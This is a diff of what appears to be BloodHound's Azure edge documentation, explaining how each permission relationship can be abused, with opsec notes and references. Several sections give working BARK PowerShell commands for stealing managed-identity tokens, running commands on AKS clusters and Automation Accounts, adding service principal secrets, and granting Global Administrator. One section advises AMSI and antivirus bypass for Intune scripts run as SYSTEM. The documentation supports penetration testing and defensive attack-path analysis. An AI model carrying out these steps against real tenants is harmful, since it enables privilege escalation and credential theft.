+of the target Azure Kubernetes Service Managed Cluster. This includes
+the ability to remotely fetch administrator credentials for the cluster
+as well as the ability to execute arbitrary commands on compute
+nodes associated with the AKS Managed Cluster.
+
+Abuse Info
+------------
+
+You can use BARK's Invoke-AzureRMAKSRunCommand function
+to execute commands on compute nodes associated with the
+target AKS Managed Cluster.
+
+This function requires you to supply an Azure Resource Manager
+scoped JWT associated with the principal that has the privilege
+to execute commands on the cluster. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+by supplying a refresh token:
+
+::
+
+ $ARMToken = Get-ARMTokenWithRefreshToken `
+ -RefreshToken "0.ARwA6WgJJ9X2qk..." `
+ -TenantID "contoso.onmicrosoft.com"
+
+Now you can use BARK's Invoke-AzureRMAKSRunCommand function
+to execute a command against the target AKS Managed Cluster.
+For example, to run a simple "whoami" command:
+
+::
+
+ Invoke-AzureRMAKSRunCommand `
+ -Token $ARMToken `
+ -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `
+ -Command "whoami"
+
+If the AKS Cluster or its associated Virtual Machine Scale Sets
+have managed identity assignments, you can use BARK's
+Invoke-AzureRMAKSRunCommand function to retrieve a JWT for the
+managed identity Service Principal like this:
+
+::
+
+ Invoke-AzureRMAKSRunCommand `
+ -Token $ARMToken `
+ -TargetAKSId "/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourcegroups/AKS_ResourceGroup/providers/Microsoft.ContainerService/managedClusters/mykubernetescluster" `
+ -Command \'curl -i -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://graph.microsoft.com/&api-version=2019-08-01"\'
+
+If successful, the output will include a JWT for the managed identity
+service principal.
+
+Opsec Considerations
+--------------------
+
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
+
+References
+----------
+
+* https://github.com/BloodHoundAD/BARK
+* https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/
+
+|
+
+----
+
+|
AZAppAdmin
^^^^^^^^^^
@@ -2266,6 +2520,128 @@ https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/
|
+AZAutomationContributor
+^^^^^^^
+
+The Azure Automation Contributor role grants full control
+of the target Azure Automation Account. This includes
+the ability to execute arbitrary commands on the Automation
+Account.
+
+Abuse Info
+------------
+
+You can use BARK's New-AzureAutomationAccountRunBook and
+Get-AzureAutomationAccountRunBookOutput functions to execute
+arbitrary commands against the target Automation Account.
+
+These functions require you to supply an Azure Resource Manager
+scoped JWT associated with the principal that has the privilege
+to add or modify and run Automation Account run books. There are
+several ways to acquire a JWT. For example, you may use BARK's
+Get-ARMTokenWithRefreshToken to acquire an Azure RM-scoped JWT
+by supplying a refresh token:
+
+::
+
+ $ARMToken = Get-ARMTokenWithRefreshToken `
+ -RefreshToken "0.ARwA6WgJJ9X2qk..." `
+ -TenantID "contoso.onmicrosoft.com"
+
+Now you can use BARK's New-AzureAutomationAccountRunBook function
+to add a new runbook to the target Automation Account, specifying
+a command to execute using the -Script parameter:
+
+::
+
+ New-AzureAutomationAccountRunBook `
+ -Token $ARMToken `
+ -RunBookName "MyCoolRunBook" `
+ -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" `
+ -Script "whoami"
+
+After adding the new runbook, you must execute it and fetch its
+output. You can do this automatically with BARK's
+Get-AzureAutomationAccountRunBookOutput function:
+
+::
+
+ Get-AzureAutomationAccountRunBookOutput `
+ -Token $ARMToken `
+ -RunBookName "MyCoolRunBook" `
+ -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount"
+
+If the Automation Account has a managed identity assignment, you can use
+these two functions to retrieve a JWT for the service principal like this:
+
+::
+
+ $Script = $tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"; $tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI; $tokenResponse.access_token
+ New-AzureAutomationAccountRunBook -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount" -Script $Script
+ Get-AzureAutomationAccountRunBookOutput -Token $ARMToken -RunBookName "MyCoolRunBook" -AutomationAccountPath "https://management.azure.com/subscriptions/f1816681-4df5-4a31-acfa-922401687008/resourceGroups/AutomationAccts/providers/Microsoft.Automation/automationAccounts/MyCoolAutomationAccount"
+
+If successful, the output will include a JWT for the managed identity
+service principal.
+
+Opsec Considerations
+--------------------
+
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
+
+References
+----------
+
+* https://github.com/BloodHoundAD/BARK
+* https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a
+
+|
+
+----
+
+|
+
+AZAvereContributor
+^^^^^^^
+
+Any principal granted the Avere Contributor role, scoped to the
+affected VM, can reset the built-in administrator password on the
+VM.
+
+Abuse Info
+------------
+
+The Avere Contributor role allows you to run SYSTEM
+commands on the VM
+
+Via PowerZure:
+
+ * `Invoke-AzureRunCommand `_
+ * `Invoke-AzureRunMSBuild `_
+ * `Invoke-AzureRunProgram `_
+
+
+Opsec Considerations
+--------------------
+
+Because you'll be running a command as the SYSTEM user on the
+Virtual Machine, the same opsec considerations for running malicious
+commands on any system should be taken into account: command line
+logging, PowerShell script block logging, EDR, etc.
+
+References
+----------
+
+* https://attack.mitre.org/tactics/TA0008/
+* https://attack.mitre.org/techniques/T1021/
+* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#avere-contributor
+
+|
+
+----
+
+|
+
AZCloudAppAdmin
^^^^^^^^^^^^^^^
@@ -2345,6 +2721,94 @@ https://blog.netspi.com/attacking-azure-cloud-shell/
|
+AZExecuteCommand
+^^^^^^^
+
+Principals with the Intune Administrators role are able to
+execute arbitrary PowerShell scripts on devices that are joined
+to the Azure Active Directory tenant.
+
+Abuse Info
+------------
+
+First, have your PowerShell script ready to go and save it
+somewhere as a PS1 file. Take all the necessary operational
+security (opsec) and AMSI-bypass steps you want at this point,
+keeping in mind the script will run as the SYSTEM user unless
+you specify otherwise. Also keep in mind that the script will
+be written to disk, so take whatever AV bypass measures you need
+as well.
+
+Next, log into the Azure web portal as the user with the "Intune
+Administrator" role activated. After authenticating, access Endpoint
+Manager at https://endpoint.microsoft.com.
+
+Click on "Devices" on the left, which takes you, unsurprisingly, to
+the devices overview. Click on "Scripts" under the "Policy" section
+to go to the scripts management page. Click "Add," then click "Windows
+10".
+
+This will bring you to the "Add Powershell Script" page. On this first
+page, you'll enter a name for the script and a brief description. On the
+next page, click the folder and then select your PS1 from the common
+dialogue window. You've now got three options to configure, but can
+leave them all in the default "No" position. Most interestingly, keeping
+the first selection as "No" will cause the script to run as the SYSTEM user.
+
+Click next, and you'll see the page that lets you scope which systems and
+users this script will execute for. You can choose to assign the script to
+"All devices," "All users," or "All users and devices." If you leave the
+"Assign to" dropdown at its default selection of "Selected groups," you can
+scope the script to only execute on systems or for users that belong to
+certain security groups. The choice is yours: run the script on every
+possible system or constrain it to only run on certain systems by scoping it
+to existing security groups or by adding specific devices or users to new
+security groups.
+
+Click "Next" and you'll see the review page which lets you see what you're
+about to do. Click "Add" and Azure will begin registering the script.
+At this point, the script is now ready to run on your target systems. This
+process works similarly to Group Policy, in that the Intune agent running
+on each device periodically checks in (by default every hour) with
+Intune/Endpoint Manager to see if there is a PowerShell script for it to run,
+so you will need to wait up to an hour for your target system to actually pull
+the script down and run it.
+
+Opsec Considerations
+--------------------
+
+When the Intune agent pulls down and executes PowerShell
+scripts, a number of artifacts are created on the endpoint -
+some permanent and some ephemeral.
+
+Two files are created on the endpoint when a PowerShell script
+is executed in the following locations::
+
+ C:\Program files (x86)\Microsoft Intune Management Extension\Policies\Scripts
+ C:\Program files (x86)\Microsoft Intune Management Extension\Policies\Results
+
+The file under the "Scripts" folder will be a local copy of the
+PS1 stored in Azure, and the file under the "Results" folder
+will be the output of the PS1; however, both of these files are
+automatically deleted as soon as the script finishes running.
+There are also permanent artifacts left over (assuming the
+attacker doesn't tamper with them). A full copy of the contents
+of the PS1 can be found in this log file::
+
+ C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\_IntuneManagementExtension.txt
+
+References
+----------
+
+* https://attack.mitre.org/tactics/TA0002/
+* https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d
+
+|
+
+----
+
+|
+
AZGetCertificates
^^^^^^^^^^^^^^^^^
@@ -2475,28 +2939,32 @@ https://blog.netspi.com/attacking-azure-cloud-shell/
|
-AZPrivilegedRoleAdmin
-^^^^^^^^^^^^^^^^^^^^^
+AZHasRole
+^^^^^^^
-The Privileged Role Admin role can grant any other admin role to another principal
-at the tenant level.
+This edge indicates that a principal has been granted a particular
+AzureAD admin role.
Abuse Info
------------
-Activate the Global Admin role for yourself or for another user using PowerZure or
-PowerShell.
+No abuse is necessary. This edge only indicates
+that the principal has been granted a particular
+AzureAD admin role.
Opsec Considerations
--------------------
-The Azure Activity Log will log who activated an admin role for what other principal,
-including the date and time.
+The opsec considerations for a particular action authorized by a
+principal“s active AzureAD role assignment will wholly depend
+on what the action taken is. This edge does not capture all abusable
+possibilities.
References
----------
-https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azureadrole
+* https://docs.microsoft.com/en-us/graph/permissions-reference
+* https://docs.microsoft.com/en-us/azure/role-based-access-control/overview
|
@@ -2504,27 +2972,37 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#add-azurea
|
-AZResetPassword
-^^^^^^^^^^^^^^^
+AZKeyVaultKVContributor
+^^^^^^^
-The ability to change another user’s password without knowing their current password.
+The Key Vault Contributor role grants full control of the
+target Key Vault. This includes the ability to read all secrets
+stored on the Key Vault.
Abuse Info
------------
-Find the user in the Azure portal, then click "Reset Password", or use PowerZure’s
-Set-AzureUserPassword cmdlet. If password write-back is enabled, this password will
-also be set for a synced on-prem user.
+You can read secrets and alter access policies (grant yourself access to read secrets)
+
+Via PowerZure:
+
+ * `Get-AzureKeyVaultContent `_
+ * `Export-AzureKeyVaultContent `_
+
Opsec Considerations
--------------------
-Azure will log each password reset event, including who performed the reset, against which account, and at what date and time.
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
References
----------
-https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureuserpassword
+* https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/
+* https://blog.netspi.com/azure-automation-accounts-key-stores/
+* https://blog.netspi.com/get-azurepasswords/
+* https://blog.netspi.com/attacking-azure-cloud-shell/
|
@@ -2532,18 +3010,35 @@ https://powerzure.readthedocs.io/en/latest/Functions/operational.html#set-azureu
|
-AZRunsAs
-^^^^^^^^
+AZLogicAppContributor
+^^^^^^^
-The Azure App runs as the Service Principal when it needs to authenticate to the tenant.
+The Logic Contributor role grants full control
+of the target Logic App. This includes the ability
+to execute arbitrary commands on the Logic App.
Abuse Info
------------
-This edge should be taken into consideration when abusing control of an app. Apps authenticate
-with service principals to the tenant, so if you have control of an app, what you are abusing
-is that control plus the fact that the app runs as a privileged service principal.
+Currently you need access to the portal GUI to execute this abuse.
+The abuse involves adding or modifying an existing logic app to coerce
+the logic app into sending a JWT for its managed identity service principal
+to a web server you control.
+
+You can see a full walkthrough for executing that abuse in this blog post:
+`Andy Robbins - Managed Identity Attack Paths, Part 2: Logic Apps `_
+
+Opsec Considerations
+--------------------
+
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
+
+References
+----------
+* https://github.com/BloodHoundAD/BARK
+* https://medium.com/p/52b29354fc54
|
@@ -2551,30 +3046,1069 @@ is that control plus the fact that the app runs as a privileged service principa
|
-AZUserAccessAdministrator
-^^^^^^^^^^^^^^^^^^^^^^^^^
+AZMemberOf
+^^^^^^^
-The User Access Admin role can edit roles against many other objects.
+The given asset is a member of the group.
+
+Groups in Azure Active Directory grant their direct members any privileges
+the group itself has. If a group has an AzureAD admin role, direct members
+of the group inherit those permissions.
Abuse Info
------------
-This role can be used to grant yourself or another principal any privilege
-you want against Automation Accounts, VMs, Key Vaults, and Resource Groups.
-Use the Azure portal to add a new, abusable role assignment against the target
-object for yourself.
+
+No abuse is necessary. This edge simply indicates that a principal
+belongs to a security group.
Opsec Considerations
--------------------
-Azure will log any role activation event for any object type.
+No opsec considerations apply to this edge.
References
----------
-https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/
+* https://docs.microsoft.com/en-us/azure/active-directory/roles/groups-create-eligible
|
----
|
+
+AZMGAddMember
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+non role assignable Azure AD security groups when a Service
+Principal has one of the following MS Graph app role assignments:
+
+ * Directory.ReadWrite.All
+ * Group.ReadWrite.All
+ * GroupMember.ReadWrite.All
+
+
+It is created against all Azure AD security groups, including those
+that are role assignable, when a Service Principal has the following
+MS Graph app role:
+
+ * RoleManagement.ReadWrite.Directory
+
+
+You will not see this privilege when using just the Azure portal
+or any other Microsoft tooling. If you audit the roles and administrators
+affecting any particular Azure security group, you will not see
+that the Service Principal can add members to the group, but it
+indeed can because of the parallel access management system used
+by MS Graph.
+
+Abuse Info
+------------
+
+You can abuse this privilege using BARK's Add-AZMemberToGroup
+function.
+
+This function requires you to supply an MS Graph-scoped JWT
+associated with the Service Principal that has the privilege
+to add principal to the target group. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+by supplying a Service Principal Client ID and secret:
+
+::
+
+ $MGToken = Get-MSGraphTokenWithClientCredentials `
+ -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
+ -ClientSecret "asdf..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+Then use BARK's Add-AZMemberToGroup function to add a new principial
+to the target group:
+
+::
+
+ Add-AZMemberToGroup `
+ -PrincipalID = "028362ca-90ae-41f2-ae9f-1a678cc17391" `
+ -TargetGroupId "b9801b7a-fcec-44e2-a21b-86cb7ec718e4" `
+ -Token $MGToken.access_token
+
+
+Now you can re-authenticate as the principial you just added to the group
+and continue your attack path, now having whatever privileges the target
+group has.
+
+Opsec Considerations
+--------------------
+
+The Azure activity log for the tenant will log who added what
+principal to what group, including the date and time.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZMGAddOwner
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+all App Registrations and Service Principals within the same tenant
+when a Service Principal has the following MS Graph app role:
+
+ * Application.ReadWrite.All
+
+
+It is also created against all Azure Service Principals when a
+Service Principal has the following MS Graph app role:
+
+ * ServicePrincipalEndpoint.ReadWrite.All
+
+
+It is also created against all Azure security groups that are not
+role eligible when a Service Principal has one of the following MS
+Graph app roles:
+
+ * Directory.ReadWrite.All
+ * Group.ReadWrite.All
+
+
+Finally, it is created against all Azure security groups and all
+Azure App Registrations when a Service Principal has the following
+MS Graph app role:
+
+ * RoleManagement.ReadWrite.Directory
+
+
+You will not see these privileges when auditing permissions against
+any of the mentioned objects when you use Microsoft tooling, including
+the Azure portal and the MS Graph API itself.
+
+Abuse Info
+------------
+
+You can use BARK to add a new owner to the target object. The
+BARK function you use will depend on the target object type,
+but all of the functions follow a similar syntax.
+
+These functions require you to supply an MS Graph-scoped JWT
+associated with the Service Principal that has the privilege
+to add a new owner to the target object. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+by supplying a Service Principal Client ID and secret:
+
+::
+
+ $MGToken = Get-MSGraphTokenWithClientCredentials `
+ -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
+ -ClientSecret "asdf..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+To add a new owner to a Service Principal, use BARK's
+New-ServicePrincipalOwner function:
+
+::
+
+ New-ServicePrincipalOwner `
+ -ServicePrincipalObjectId "082cf9b3-24e2-427b-bcde-88ffdccb5fad" `
+ -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `
+ -Token $Token
+
+
+To add a new owner to an App Registration, use BARK's New-AppOwner function:
+
+::
+
+ New-AppOwner `
+ -AppObjectId "52114a0d-fa5b-4ee5-9a29-2ba048d46eee" `
+ -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `
+ -Token $Token
+
+
+To add a new owner to a Group, use BARK's New-GroupOwner function:
+
+::
+
+ New-AppOwner `
+ -GroupObjectId "352032bf-161d-4788-b77c-b6f935339770" `
+ -NewOwnerObjectId "cea271c4-7b01-4f57-932d-99d752bbbc60" `
+ -Token $Token
+
+
+
+Opsec Considerations
+--------------------
+
+Any time you add an owner to any Azure object, the AzureAD audit
+logs will create an event logging who added an owner to what object,
+as well as what the new owner added to the object was.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZMGAddSecret
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+all Azure App Registrations and Service Principals when a Service
+Principal has one of the following MS Graph app roles:
+
+ * Application.ReadWrite.All
+ * RoleManagement.ReadWrite.Directory
+
+
+You will not see this privilege when using just the Azure portal
+or any other Microsoft tooling. If you audit the roles and administrators
+affecting any particular Azure App or Service Principal, you will not see
+that the Service Principal can add secrets to the object, but it
+indeed can because of the parallel access management system used
+by MS Graph.
+
+Abuse Info
+------------
+
+There are several ways to perform this abuse, depending on what
+sort of access you have to the credentials of the object that
+holds this privilege against the target object. If you have an
+interactive web browser session for the Azure portal, it is as
+simple as finding the target App in the portal and adding a new
+secret to the object using the "Certificates & secrets" tab.
+Service Principals do not have this tab in the Azure portal but
+you can add secrets to them with the MS Graph API.
+No matter what kind of control you have, you will be able to
+perform this abuse by using BARK's New-AppRegSecret or
+New-ServicePrincipalSecret functions.
+
+These functions require you to supply an MS Graph-scoped JWT
+associated with the Service Principal that has the privilege
+to add secrets to the target object. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+by supplying a Service Principal Client ID and secret:
+
+::
+
+ $MGToken = Get-MSGraphTokenWithClientCredentials `
+ -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
+ -ClientSecret "asdf..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+Then use BARK's New-AppRegSecret to add a new secret to the
+target application:
+
+::
+
+ New-AppRegSecret `
+ -AppRegObjectID "d878..." `
+ -Token $MGToken.access_token
+
+
+The output will contain the plain-text secret you just created
+for the target app:
+
+::
+
+ New-AppRegSecret `
+ -AppRegObjectID "d878..." `
+ -Token $MGToken.access_token
+
+ Name Value
+ ---- -----
+ AppRegSecretValue odg8Q~...
+ AppRegAppId 4d31...
+ AppRegObjectId d878...
+
+
+With this plain text secret, you can now acquire tokens as the
+service principal associated with the app. You can easily do
+this with BARK's Get-MSGraphToken function:
+
+::
+
+
+ $SPToken = Get-MSGraphToken `
+ -ClientID "4d31..." `
+ -ClientSecret "odg8Q~..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+Now you can use this JWT to perform actions against any other MS
+Graph endpoint as the service principal, continuing your attack
+path with the privileges of that service principal.
+
+Opsec Considerations
+--------------------
+
+When you create a new secret for an App or Service Principal,
+Azure creates an event called "Update application - Certificates
+and secrets management". This event describes who added the secret
+to which application or service principal.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZMGApplication_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the Application.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZMGAppRoleAssignment_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the AppRoleAssignment.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZMGDirectory_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the Directory.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZMGGrantAppRoles
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+AzureAD tenant objects when a Service Principal has one of the following
+MS Graph app role assignments:
+
+ * AppRoleAssignment.ReadWrite.All
+ * RoleManagement.ReadWrite.Directory
+
+
+Abuse Info
+------------
+
+With the ability to grant arbitrary app roles, you can grant
+the RoleManagement.ReadWrite.Directory app role to a Service
+Principal you already control, and then promote it or another
+principal to Global Administrator.
+
+These functions require you to supply an MS Graph-scoped JWT
+associated with the Service Principal that has the privilege
+to grant app roles. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+by supplying a Service Principal Client ID and secret:
+
+::
+
+ $MGToken = Get-MSGraphTokenWithClientCredentials `
+ -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
+ -ClientSecret "asdf..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+Use BARK's Get-AllAzureADServicePrincipals to collect all
+Service Principal objects in the tenant:
+
+::
+
+
+ $SPs = Get-AllAzureADServicePrincipals `
+ -Token $MGToken
+
+
+Next, find the MS Graph Service Principal's ID. You can do this by
+piping $SPs to Where-Object, finding objects where the appId value
+matches the universal ID for the MS Graph Service Principal, which is
+00000003-0000-0000-c000-000000000000:
+
+::
+
+
+ $SPs | ?{$_.appId -Like "00000003-0000-0000-c000-000000000000"} | Select id
+
+
+The output will be the object ID of the MS Graph Service Principal.
+Take that ID and use it as the "ResourceID" argument for BARK's
+New-AppRoleAssignment function. The AppRoleID of '9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8'
+is the universal ID for RoleManagement.ReadWrite.Directory. The
+SPObjectId is the object ID of the Service Principal you want to grant
+this app role to:
+
+::
+
+
+ New-AppRoleAssignment `
+ -SPObjectId "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `
+ -AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `
+ -ResourceID "9858020a-4c00-4399-9ae4-e7897a8333fa" `
+ -Token $MGToken
+
+
+If successful, the output of this command will show you the App Role
+assignment ID. Now that your Service Principal has the RoleManagement.ReadWrite.Directory
+MS Graph app role, you can promote the Service Principal to Global Administrator
+using BARK's New-AzureADRoleAssignment.
+
+::
+
+
+ New-AzureADRoleAssignment `
+ -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `
+ -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
+ -Token $MGToken
+
+
+If successful, the output will include the principal ID, the role ID, and a
+unique ID for the role assignment.
+
+Opsec Considerations
+--------------------
+
+When you assign an app role to a Service Principal, the Azure
+Audit logs will create an event called "Add app role assignment
+to service principal". This event describes who made the change,
+what the target service principal was, and what app role assignment
+was granted.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZMGGrantRole
+^^^^^^^
+
+This edge is created during post-processing. It is created against
+all AzureAD admin roles when a Service Principal has the following
+MS Graph app role assignment:
+
+ * RoleManagement.ReadWrite.Directory
+
+This privilege allows the Service Principal to promote itself or
+any other principal to any AzureAD admin role, including Global
+Administrator.
+
+Abuse Info
+------------
+
+To abuse this privilege, you can promote a principal you control
+to Global Administrator using BARK's New-AzureADRoleAssignment.
+This function requires you to supply an MS Graph-scoped JWT
+associated with the Service Principal that has the privilege
+to grant AzureAD admin roles. There are several ways to
+acquire a JWT. For example, you may use BARK's
+Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
+by supplying a Service Principal Client ID and secret:
+
+::
+
+
+ $MGToken = Get-MSGraphTokenWithClientCredentials `
+ -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
+ -ClientSecret "asdf..." `
+ -TenantName "contoso.onmicrosoft.com"
+
+
+Then use BARK's New-AzureADRoleAssignment function to grant the
+AzureAD role to your target principal:
+
+::
+
+
+ New-AzureADRoleAssignment `
+ -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `
+ -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
+ -Token $MGToken
+
+
+If successful, the output will include the principal ID, the role ID, and a
+unique ID for the role assignment.
+
+Opsec Considerations
+--------------------
+
+When you assign an AzureAD admin role to a principal
+using this privilege, the Azure Audit log will create
+an event called "Add member to role outside of PIM
+(permanent)".
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://github.com/BloodHoundAD/BARK
+
+|
+
+----
+
+|
+
+AZMGGroupMember_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the GroupMember.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is
+not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZMGGroup_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the Group.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is
+not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZMGRoleManagement_ReadWrite_Directory
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the RoleManagement.ReadWrite.Directory edge.
+
+Abuse Info
+------------
+
+The edge is
+not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+* https://docs.microsoft.com/en-us/azure/active-directory/roles/assign-roles-different-scopes
+
+|
+
+----
+
+|
+
+AZMGServicePrincipalEndpoint_ReadWrite_All
+^^^^^^^
+
+This edge is created when a Service Principal has been
+granted the ServicePrincipalEndpoint.ReadWrite.All edge.
+
+Abuse Info
+------------
+
+The edge is
+not abusable, but is used during post-processing to create
+abusable edges.
+
+Opsec Considerations
+--------------------
+
+No opsec considerations apply to this edge.
+
+References
+----------
+
+* https://attack.mitre.org/techniques/T1098/
+* https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
+
+|
+
+----
+
+|
+
+AZNodeResourceGroup
+^^^^^^^
+
+This edge is created to link Azure Kubernetes Service
+Managed Clusters to the Virtual Machine Scale Sets they
+use to execute commands on.
+
+The system-assigned identity for the AKS Cluster will
+have the Contributor role against the target Resource Group
+and its child Virtual Machine Scale Sets.
+
+Abuse Info
+------------
+
+You will abuse this relationship by executing a command
+against the AKS Managed Cluster the edge is emiting from.
+You can target any managed identity assignment scoped to
+the Virtual Machine Scale Sets under the target Resource Group.
+
+Opsec Considerations
+--------------------
+
+This will depend on which particular abuse you perform, but in
+general Azure will create a log event for each abuse.
+
+References
+----------
+
+* https://github.com/BloodHoundAD/BARK
+* https://www.netspi.com/blog/technical/cloud-penetration-testing/extract-credentials-from-azure-kubernetes-service/
+
+|
+
+----
+
+|
+
+AZOwns
+^^^^^^^
+
+Object ownership means almost all abuses are possible against the
+target object.
+
+Abuse Info
+------------
+
+Everything a Contributor can do, with the addition of assigning
+rights to resources.
+
+Opsec Considerations
+--------------------
+
+This depends on which abuse you perform, but in general Azure will
+create a log for each abuse action.
+
+References
+----------
+
